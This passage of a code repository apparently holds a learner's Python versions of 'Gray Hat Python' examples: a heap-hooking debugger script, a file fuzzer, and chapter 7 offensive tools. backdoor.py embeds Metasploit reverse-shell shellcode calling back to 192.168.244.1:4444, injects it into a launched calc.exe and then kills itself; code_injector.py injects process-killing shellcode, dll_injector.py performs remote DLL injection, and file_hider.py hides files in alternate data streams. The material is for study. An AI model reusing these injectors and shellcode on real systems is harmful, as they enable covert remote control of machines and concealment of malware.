dbg.run() 48 | else: 49 | print "[*] Error:Couldn't find the firefox.exe process." 50 | sys.exit(-1) -------------------------------------------------------------------------------- /chapter6/hippie_easy.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-21 09:12:35 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | import immlib 7 | import immutils 8 | 9 | def getRet(imm, allocaddr, max_opcodes = 300): 10 | addr = allocaddr 11 | for a in range(0, max_opcodes): 12 | # 这个函数应该是以这个地址开始解析一条指令,默认行数是1 13 | # 返回汇编指令 14 | op = imm.disasmForward(addr) 15 | # 判断是否为ret指令 16 | if op.isRet(): 17 | if op.getImmConst() == 0xC: 18 | # 以当前地址向前反汇编3条指令 19 | op = imm.disasmBackward(addr, 3) 20 | return op.getAddress() 21 | addr = op.getAddress() 22 | return 0x0 23 | 24 | def showresult(imm , a, rtlallocate, extra = ""): 25 | if a[0] == rtlallocate: 26 | imm.log("RtlAllocateHeap(0x%08x,0x%08x,0x%08x) <- 0x%08x %s" % (a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3]) 27 | return "done" 28 | else: 29 | imm.log("RtlFreeHeap(0x%08x,0x%08x,0x%08x) %s" % (a[1][0], a[1][1], a[1][2], extra)) 30 | 31 | def main(args): 32 | imm = immlib.Debugger() 33 | Name = "hippie" 34 | # Gets python object from the knowledge database. 35 | # 下面会用addKnowledge储存到knowledge database 36 | fast = imm.getKnowledge(Name) 37 | if fast: 38 | # 我们之前已经设置hooks了,所以我们打印结果 39 | hook_list = fast.getAllLog() 40 | rtlallocate,rtlfree = imm.getKnowledge("FuncNames") 41 | for a in hook_list: 42 | ret = showresult(imm, a, rtlallocate) 43 | return "Logged: %d hook hits." % len(hook_list) 44 | # 暂停进程 45 | imm.pause() 46 | rtlfree = imm.getAddress("ntdll.RtlFreeHeap") 47 | rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap") 48 | imm.log("rtlallocate:0x%08x" % rtlallocate, address = rtlallocate) 49 | module = imm.getModule("ntdll.dll") 50 | # 若还没分析这个模块,就去分析 51 | if not module.isAnalysed(): 52 | imm.analyseCode(module.getCodebase()) 53 | # 我们寻找正确的函数退出点(返回点) 54 | rtlallocate = getRet(imm, rtlallocate, 1000) 55 | imm.log("RtlAllocateHeap hook:0x%08x" % rtlallocate, address = rtlallocate) 56 | # 储存hook的地址 57 | imm.addKnowledge("FuncNames", (rtlallocate, rtlfree)) 58 | # 开始构建hook 59 | fast = immlib.STDCALLFastLogHook(imm) 60 | 61 | imm.log("Logging on Alloc 0x%08x" % rtlallocate, address = rtlallocate) 62 | # 我们要hook的是rtlallocate函数中的某个地址(这个地址会被跳转指令覆盖) 63 | fast.logFunction(rtlallocate) 64 | # 根据EBP的偏移获取数据 65 | fast.logBaseDisplacement("EBP", 8) 66 | fast.logBaseDisplacement("EBP", 0xC) 67 | fast.logBaseDisplacement("EBP", 0x10) 68 | # 跟踪eax寄存器 69 | fast.logRegister("EAX") 70 | 71 | imm.log("Logging on RtlFreeHeap 0x%08x" % rtlfree, address = rtlfree) 72 | fast.logFunction(rtlfree, 3) 73 | # 设置钩子 74 | fast.Hook() 75 | # 储存钩子对象 76 | imm.addKnowledge(Name, fast, force_add = 1) 77 | return "Hooks setm press F9 to continue the process." 78 | -------------------------------------------------------------------------------- /chapter7/FirstDll.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/chapter7/FirstDll.dll -------------------------------------------------------------------------------- /chapter7/backdoor.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-22 14:54:22 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | import sys 7 | from ctypes import * 8 | from my_debugger_defines import * 9 | kernel32 = windll.kernel32 10 | 11 | PAGE_READWRITE = 0x04 12 | PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) 13 | VIRTUAL_MEM = ( 0x1000 | 0x2000 ) 14 | 15 | # This is the original executable 16 | path_to_exe = "C:\\calc.exe" 17 | 18 | startupinfo = STARTUPINFO() 19 | process_information = PROCESS_INFORMATION() 20 | creation_flags = CREATE_NEW_CONSOLEZ 21 | startupinfo.dwFlags = 0x1 22 | startupinfo.wShowWindow = 0x0 23 | startupinfo.cb = sizeof(startupinfo) 24 | 25 | # 创建进程 26 | kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)) 27 | 28 | # 获取pid 29 | pid = process_information.dwProcessId 30 | 31 | def inject(pid, data, parameter = 0): 32 | h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) 33 | if not h_process: 34 | print "[*] Couldn't acquire a handle to PID:%s" % pid 35 | sys.exit(0) 36 | arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) 37 | written = c_int(0) 38 | kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written)) 39 | thread_id = c_ulong(0) 40 | # 代码注入方式 41 | if not parameter: 42 | start_address = arg_address 43 | # dll注入方式 44 | else: 45 | h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") 46 | start_address = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") 47 | parameter = arg_address 48 | if not kernel32.CreateRemoteThread(h_process, None, 0, start_address, parameter, 0, byref(thread_id)): 49 | sys.exit(0) 50 | return True 51 | 52 | #/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 Size=287 Encoder=None http://metasploit.com */ 53 | connect_back_shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \ 54 | "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \ 55 | "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \ 56 | "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \ 57 | "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \ 58 | "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \ 59 | "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \ 60 | "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \ 61 | "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \ 62 | "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \ 63 | "\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \ 64 | "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \ 65 | "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \ 66 | "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \ 67 | "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \ 68 | "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \ 69 | "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \ 70 | "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0" 71 | 72 | # shellcode插入计算器进程 73 | inject( pid, connect_back_shellcode ) 74 | 75 | #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA 76 | #Size=159 Encoder=None http://metasploit.com */ 77 | our_pid = str( kernel32.GetCurrentProcessId() ) 78 | 79 | process_killer_shellcode = \ 80 | "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ 81 | "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ 82 | "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ 83 | "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ 84 | "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ 85 | "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ 86 | "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ 87 | "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ 88 | "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ 89 | "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" 90 | 91 | padding = 4 - ( len( our_pid )) 92 | replace_value = our_pid + ( "\x00" * padding ) 93 | replace_string= "\x41" * 4 94 | process_killer_shellcode = process_killer_shellcode.replace( replace_string, replace_value ) 95 | 96 | # Pop the process killing shellcode in 97 | inject( our_pid, process_killer_shellcode ) -------------------------------------------------------------------------------- /chapter7/code_injector.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-22 09:01:26 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | import sys 7 | from ctypes import * 8 | 9 | PAGE_EXECUTE_READWRITE = 0x00000040 10 | PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) 11 | VIRTUAL_MEM = ( 0x1000 | 0x2000 ) 12 | 13 | kernel32 = windll.kernel32 14 | pid = int(sys.argv[1]) 15 | pid_to_kill = sys.argv[2] 16 | 17 | if not sys.argv[1] or not sys.argv[2]: 18 | print "[*] Code Injector: ./code_injector.py " 19 | sys.exit(0) 20 | 21 | #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA 22 | #Size=159 Encoder=None http://metasploit.com */ 23 | shellcode = \ 24 | "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ 25 | "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ 26 | "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ 27 | "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ 28 | "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ 29 | "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ 30 | "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ 31 | "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ 32 | "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ 33 | "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" 34 | 35 | padding = 4 - len(pid_to_kill) 36 | replace_value = pid_to_kill + ("\x00" * padding) 37 | replace_string = "\x41" * 4 38 | shellcode = shellcode.replace(replace_string, replace_value) 39 | code_size = len(shellcode) 40 | 41 | # 获取要注入进程的句柄 42 | h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) 43 | if not h_process: 44 | print "[*] Couldn't acquire a handle to PID: %s" % pid 45 | sys.exit(0) 46 | 47 | # 为shellcode申请内存 48 | arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) 49 | written = c_int(0) 50 | # 将shellcode写到刚分配好的内存里面 51 | kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) 52 | thread_id = c_ulong(0) 53 | if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0, byref(thread_id)): 54 | print "[*] Failed to inject process-killing shellcode. Exiting." 55 | sys.exit(0) 56 | print "[*] Remote thread created with a thread ID of:0x%08x" % thread_id.value 57 | print "[*] Process %s should not be running anymore!" % pid_to_kill 58 | 59 | -------------------------------------------------------------------------------- /chapter7/dll_injector.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-21 15:24:02 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | import sys 7 | from ctypes import * 8 | # 初始化,获取传入参数的操作 9 | PAGE_READWRITE = 0x4 10 | PROCESS_ALL_ACCESS = (0x000F0000|0x00100000|0xFFF) 11 | VIRTUAK_MEM = (0x1000|0x2000) 12 | kernel32 = windll.kernel32 13 | pid = sys.argv[1] 14 | dll_path = sys.argv[2] 15 | dll_len = len(dll_path) 16 | 17 | # 获得目标进程的句柄 18 | h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) 19 | if not h_process: 20 | print "[*] Couldn't acquire a handle to PID:%s" % pid 21 | 22 | # 分配内存给dll_path那个字符串 23 | arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAK_MEM, PAGE_READWRITE) 24 | # 将dll_path写入已分配的内存 25 | written = c_int(0) 26 | kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) 27 | # 我们要获取LoadLibraryA的地址 28 | h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") 29 | h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA") 30 | # 开始利用创建远程线程进行注入 31 | thread_id = c_ulong(0) 32 | if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): 33 | print "[*] Failed to inject the DLL. Exiting." 34 | sys.exit(0) 35 | print "[*] Remote thread with ID 0x%08x created." % thread_id.value 36 | 37 | 38 | -------------------------------------------------------------------------------- /chapter7/file_hider.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-22 11:57:40 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | import sys 7 | fd = open(sys.argv[1], "rb") 8 | dll_contents = fd.read() 9 | fd.close() 10 | print "[*] Filesize:%d" % len(dll_contents) 11 | fd = open("%s:%s" % (sys.argv[2], sys.argv[1]), "wb") 12 | fd.write(dll_contents) 13 | fd.close() -------------------------------------------------------------------------------- /chapter7/my_debugger_defines.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-11 16:07:38 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | #把所有的结构体,联合体,常量等放这,方便以后维护 7 | 8 | from ctypes import * 9 | 10 | # 给ctypes类型重新命名,跟windows编程接轨吧 11 | BYTE = c_ubyte 12 | WORD = c_ushort 13 | DWORD = c_ulong 14 | LPBYTE = POINTER(c_ubyte) 15 | LPTSTR = POINTER(c_char) 16 | HANDLE = c_void_p 17 | PVOID = c_void_p 18 | LPVOID = c_void_p 19 | UINT_PTR = c_ulong 20 | SIZE_T = c_ulong 21 | 22 | #常量 23 | DEBUG_PROCESS = 0x00000001 24 | CREATE_NEW_CONSOLE = 0x00000010 25 | PROCESS_ALL_ACCESS = 0x001F0FFF 26 | INFINITE = 0xFFFFFFFF 27 | DBG_CONTINUE = 0x00010002 28 | 29 | # 调试事件常量 30 | EXCEPTION_DEBUG_EVENT = 0x1 31 | CREATE_THREAD_DEBUG_EVENT = 0x2 32 | CREATE_PROCESS_DEBUG_EVENT = 0x3 33 | EXIT_THREAD_DEBUG_EVENT = 0x4 34 | EXIT_PROCESS_DEBUG_EVENT = 0x5 35 | LOAD_DLL_DEBUG_EVENT = 0x6 36 | UNLOAD_DLL_DEBUG_EVENT = 0x7 37 | OUTPUT_DEBUG_STRING_EVENT = 0x8 38 | RIP_EVENT = 0x9 39 | 40 | # 调试异常代号 41 | EXCEPTION_ACCESS_VIOLATION = 0xC0000005 42 | EXCEPTION_BREAKPOINT = 0x80000003 43 | EXCEPTION_GUARD_PAGE = 0x80000001 44 | EXCEPTION_SINGLE_STEP = 0x80000004 45 | 46 | # Thread constants for CreateToolhelp32Snapshot() 47 | TH32CS_SNAPHEAPLIST = 0x00000001 48 | TH32CS_SNAPPROCESS = 0x00000002 49 | TH32CS_SNAPTHREAD = 0x00000004 50 | TH32CS_SNAPMODULE = 0x00000008 51 | TH32CS_INHERIT = 0x80000000 52 | TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE) 53 | THREAD_ALL_ACCESS = 0x001F03FF 54 | 55 | # Context flags for GetThreadContext() 56 | CONTEXT_FULL = 0x00010007 57 | CONTEXT_DEBUG_REGISTERS = 0x00010010 58 | 59 | # Memory permissions 60 | PAGE_EXECUTE_READWRITE = 0x00000040 61 | 62 | # Hardware breakpoint conditions 63 | HW_ACCESS = 0x00000003 64 | HW_EXECUTE = 0x00000000 65 | HW_WRITE = 0x00000001 66 | 67 | # Memory page permissions, used by VirtualProtect() 68 | PAGE_NOACCESS = 0x00000001 69 | PAGE_READONLY = 0x00000002 70 | PAGE_READWRITE = 0x00000004 71 | PAGE_WRITECOPY = 0x00000008 72 | PAGE_EXECUTE = 0x00000010 73 | PAGE_EXECUTE_READ = 0x00000020 74 | PAGE_EXECUTE_READWRITE = 0x00000040 75 | PAGE_EXECUTE_WRITECOPY = 0x00000080 76 | PAGE_GUARD = 0x00000100 77 | PAGE_NOCACHE = 0x00000200 78 | PAGE_WRITECOMBINE = 0x00000400 79 | 80 | #CreateProcessA()函数的结构,(用于设置创建子进程的各种属性) 81 | class STARTUPINFO(Structure): 82 | _fields_ = [ 83 | ("cb", DWORD), 84 | ("lpReserved", LPTSTR), 85 | ("lpDesktop", LPTSTR), 86 | ("lpTitle", LPTSTR), 87 | ("dwX", DWORD), 88 | ("dwY", DWORD), 89 | ("dwXSize", DWORD), 90 | ("dwYSize", DWORD), 91 | ("dwXCountChars", DWORD), 92 | ("dwYCountChars", DWORD), 93 | ("dwFillAttribute", DWORD), 94 | ("dwFlags", DWORD), 95 | ("wShowWindow", WORD), 96 | ("cbReserved2", WORD), 97 | ("lpReserved2", LPTSTR), 98 | ("hStdInput", DWORD), 99 | ("hStdOutput", DWORD), 100 | ("hStdError", DWORD), 101 | ] 102 | 103 | #进程的信息:进程线程的句柄,进程线程的id 104 | class PROCESS_INFORMATION(Structure): 105 | _fields_ = [ 106 | ("hProcess", HANDLE), 107 | ("hThread", HANDLE), 108 | ("dwProcessId", DWORD), 109 | ("dwThreadId", DWORD), 110 | ] 111 | 112 | # When the dwDebugEventCode is evaluated 113 | class EXCEPTION_RECORD(Structure): 114 | pass 115 | 116 | EXCEPTION_RECORD._fields_ = [ 117 | ("ExceptionCode", DWORD), 118 | ("ExceptionFlags", DWORD), 119 | ("ExceptionRecord", POINTER(EXCEPTION_RECORD)), 120 | ("ExceptionAddress", PVOID), 121 | ("NumberParameters", DWORD), 122 | ("ExceptionInformation", UINT_PTR * 15), 123 | ] 124 | 125 | class _EXCEPTION_RECORD(Structure): 126 | _fields_ = [ 127 | ("ExceptionCode", DWORD), 128 | ("ExceptionFlags", DWORD), 129 | ("ExceptionRecord", POINTER(EXCEPTION_RECORD)), 130 | ("ExceptionAddress", PVOID), 131 | ("NumberParameters", DWORD), 132 | ("ExceptionInformation", UINT_PTR * 15), 133 | ] 134 | 135 | # Exceptions 136 | class EXCEPTION_DEBUG_INFO(Structure): 137 | _fields_ = [ 138 | ("ExceptionRecord", EXCEPTION_RECORD), 139 | ("dwFirstChance", DWORD), 140 | ] 141 | 142 | # it populates this union appropriately 143 | class DEBUG_EVENT_UNION(Union): 144 | _fields_ = [ 145 | ("Exception", EXCEPTION_DEBUG_INFO), 146 | # ("CreateThread", CREATE_THREAD_DEBUG_INFO), 147 | # ("CreateProcessInfo", CREATE_PROCESS_DEBUG_INFO), 148 | # ("ExitThread", EXIT_THREAD_DEBUG_INFO), 149 | # ("ExitProcess", EXIT_PROCESS_DEBUG_INFO), 150 | # ("LoadDll", LOAD_DLL_DEBUG_INFO), 151 | # ("UnloadDll", UNLOAD_DLL_DEBUG_INFO), 152 | # ("DebugString", OUTPUT_DEBUG_STRING_INFO), 153 | # ("RipInfo", RIP_INFO), 154 | ] 155 | 156 | # DEBUG_EVENT describes a debugging event 157 | # that the debugger has trapped 158 | class DEBUG_EVENT(Structure): 159 | _fields_ = [ 160 | ("dwDebugEventCode", DWORD), 161 | ("dwProcessId", DWORD), 162 | ("dwThreadId", DWORD), 163 | ("u", DEBUG_EVENT_UNION), 164 | ] 165 | 166 | # Used by the CONTEXT structure 167 | class FLOATING_SAVE_AREA(Structure): 168 | _fields_ = [ 169 | 170 | ("ControlWord", DWORD), 171 | ("StatusWord", DWORD), 172 | ("TagWord", DWORD), 173 | ("ErrorOffset", DWORD), 174 | ("ErrorSelector", DWORD), 175 | ("DataOffset", DWORD), 176 | ("DataSelector", DWORD), 177 | ("RegisterArea", BYTE * 80), 178 | ("Cr0NpxState", DWORD), 179 | ] 180 | 181 | # The CONTEXT structure which holds all of the 182 | # register values after a GetThreadContext() call 183 | class CONTEXT(Structure): 184 | _fields_ = [ 185 | 186 | ("ContextFlags", DWORD), 187 | ("Dr0", DWORD), 188 | ("Dr1", DWORD), 189 | ("Dr2", DWORD), 190 | ("Dr3", DWORD), 191 | ("Dr6", DWORD), 192 | ("Dr7", DWORD), 193 | ("FloatSave", FLOATING_SAVE_AREA), 194 | ("SegGs", DWORD), 195 | ("SegFs", DWORD), 196 | ("SegEs", DWORD), 197 | ("SegDs", DWORD), 198 | ("Edi", DWORD), 199 | ("Esi", DWORD), 200 | ("Ebx", DWORD), 201 | ("Edx", DWORD), 202 | ("Ecx", DWORD), 203 | ("Eax", DWORD), 204 | ("Ebp", DWORD), 205 | ("Eip", DWORD), 206 | ("SegCs", DWORD), 207 | ("EFlags", DWORD), 208 | ("Esp", DWORD), 209 | ("SegSs", DWORD), 210 | ("ExtendedRegisters", BYTE * 512), 211 | ] 212 | 213 | # THREADENTRY32 contains information about a thread 214 | # we use this for enumerating all of the system threads 215 | 216 | class THREADENTRY32(Structure): 217 | _fields_ = [ 218 | ("dwSize", DWORD), 219 | ("cntUsage", DWORD), 220 | ("th32ThreadID", DWORD), 221 | ("th32OwnerProcessID", DWORD), 222 | ("tpBasePri", DWORD), 223 | ("tpDeltaPri", DWORD), 224 | ("dwFlags", DWORD), 225 | ] 226 | 227 | # Supporting struct for the SYSTEM_INFO_UNION union 228 | class PROC_STRUCT(Structure): 229 | _fields_ = [ 230 | ("wProcessorArchitecture", WORD), 231 | ("wReserved", WORD), 232 | ] 233 | 234 | 235 | # Supporting union for the SYSTEM_INFO struct 236 | class SYSTEM_INFO_UNION(Union): 237 | _fields_ = [ 238 | ("dwOemId", DWORD), 239 | ("sProcStruc", PROC_STRUCT), 240 | ] 241 | # SYSTEM_INFO structure is populated when a call to 242 | # kernel32.GetSystemInfo() is made. We use the dwPageSize 243 | # member for size calculations when setting memory breakpoints 244 | class SYSTEM_INFO(Structure): 245 | _fields_ = [ 246 | ("uSysInfo", SYSTEM_INFO_UNION), 247 | ("dwPageSize", DWORD), 248 | ("lpMinimumApplicationAddress", LPVOID), 249 | ("lpMaximumApplicationAddress", LPVOID), 250 | ("dwActiveProcessorMask", DWORD), 251 | ("dwNumberOfProcessors", DWORD), 252 | ("dwProcessorType", DWORD), 253 | ("dwAllocationGranularity", DWORD), 254 | ("wProcessorLevel", WORD), 255 | ("wProcessorRevision", WORD), 256 | ] 257 | 258 | # MEMORY_BASIC_INFORMATION contains information about a 259 | # particular region of memory. A call to kernel32.VirtualQuery() 260 | # populates this structure. 261 | class MEMORY_BASIC_INFORMATION(Structure): 262 | _fields_ = [ 263 | ("BaseAddress", PVOID), 264 | ("AllocationBase", PVOID), 265 | ("AllocationProtect", DWORD), 266 | ("RegionSize", SIZE_T), 267 | ("State", DWORD), 268 | ("Protect", DWORD), 269 | ("Type", DWORD), 270 | ] 271 | -------------------------------------------------------------------------------- /chapter7/my_debugger_defines.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/chapter7/my_debugger_defines.pyc -------------------------------------------------------------------------------- /chapter8/examples/heh.txt: -------------------------------------------------------------------------------- 1 | fgdsagfdgadfgfd -------------------------------------------------------------------------------- /chapter8/examples/windbg笔记.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/chapter8/examples/windbg笔记.txt -------------------------------------------------------------------------------- /chapter8/examples/新建文本文档.txt: -------------------------------------------------------------------------------- 1 | fdfdsgfdg -------------------------------------------------------------------------------- /chapter8/file_fuzzer.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-09-15 11:33:17 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from pydbg import * 7 | from pydbg.defines import * 8 | import utils 9 | import random 10 | import sys 11 | import struct 12 | import threading 13 | import os 14 | import shutil 15 | import time 16 | import getopt 17 | 18 | class file_fuzzer: 19 | # 构造方法 20 | def __init__(self, exe_path, ext, notify): 21 | # 初始化一些变量,用于跟踪记录文件的基础信息 22 | self.exe_path = exe_path 23 | self.ext = ext 24 | self.notify_crash = notify 25 | self.orig_file = None 26 | self.mutated_file = None 27 | self.iteration = 0 28 | self.crash = None 29 | self.send_notify = False 30 | self.pid = None 31 | self.in_accessv_handler = False 32 | self.dbg = None 33 | self.running = False 34 | self.ready = False 35 | # Optional 可选的,设置一下邮件的参数 36 | self.smtpserver = '' 37 | self.recipents = ['admin@xx.com',] 38 | self.sender = '' 39 | self.test_cases = ["%s%n%s%n%s%n", "\xff", "\x00", "A"] 40 | 41 | # 列出某个目录,跟着随机选取一个进行变形,并将其复制为test文件 42 | def file_picker(self): 43 | file_list = os.listdir("examples/") 44 | list_length = len(file_list) 45 | file = file_list[random.randint(0, list_length-1)] 46 | shutil.copy("examples\\%s" % file, "test.%s" % self.ext) 47 | return file 48 | 49 | def fuzz(self): 50 | while 1: 51 | # 第一步,确保只有一个调试进程在运行或者访问违例的处理程序没有在搜集崩溃信息(因为搜集完的话他会将running设置为false) 52 | if not self.running: 53 | # 调用选取函数并保存该文件 54 | self.test_file = self.file_picker() 55 | # 传入变形函数 56 | self.mutate_file() 57 | 58 | # 文件变形完成,就开启调试线程 59 | pydbg_thread = threading.Thread(target=self.start_debugger) 60 | # setDaemon设置是否为守护进程,这是是false 61 | # 在linux或者unix操作系统中,守护进程(Daemon)是一种运行在后台的特殊进程,它独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件。 62 | pydbg_thread.setDaemon(0) 63 | pydbg_thread.start() 64 | 65 | # 当程序创建成功,得到了新的pid 66 | while self.pid == None: 67 | time.sleep(1) 68 | 69 | # 开始监视线程 70 | monitor_thread = threading.Thread(target=self.monitor_debugger) 71 | monitor_thread.setDaemon(0) 72 | monitor_thread.start() 73 | 74 | # 统计变量 75 | self.iteration += 1 76 | 77 | #等待一次fuzz完成 78 | else: 79 | time.sleep(1) 80 | 81 | # 开启调试器 82 | def start_debugger(self): 83 | print "[*] Starting debugger for iteration: %d" % self.iteration 84 | self.running = True 85 | self.dbg = pydbg() 86 | # 如果有访问违例就调用check_accessv函数 87 | self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,self.check_accessv) 88 | pid = self.dbg.load(self.exe_path, "test.%s" % self.ext) 89 | self.pid = self.dbg.pid 90 | self.dbg.run() 91 | 92 | def check_accessv(self, dbg): 93 | if dbg.dbg.u.Exception.dwFirstChance: 94 | return DBG_CONTINUE 95 | print "[*] Woot! Handling an access violation!" 96 | self.in_accessv_handler = True 97 | crash_bin = utils.crash_binning.crash_binning() 98 | crash_bin.record_crash(dbg) 99 | self.crash = crash_bin.crash_synopsis() 100 | # 记录崩溃的信息 101 | crash_fd = open("crashes\\crash-%d" % self.iteration, "w") 102 | crash_fd.write(self.crash) 103 | # 备份文件 104 | shutil.copy("test.%s" % self.ext, "crashes\\%d.%s" % (self.iteration, self.ext)) 105 | shutil.copy("examples\\%s" % self.test_file, "crashes\\%d_orig.%s" % (self.iteration, self.ext)) 106 | self.dbg.terminate_process() 107 | self.in_accessv_handler = False 108 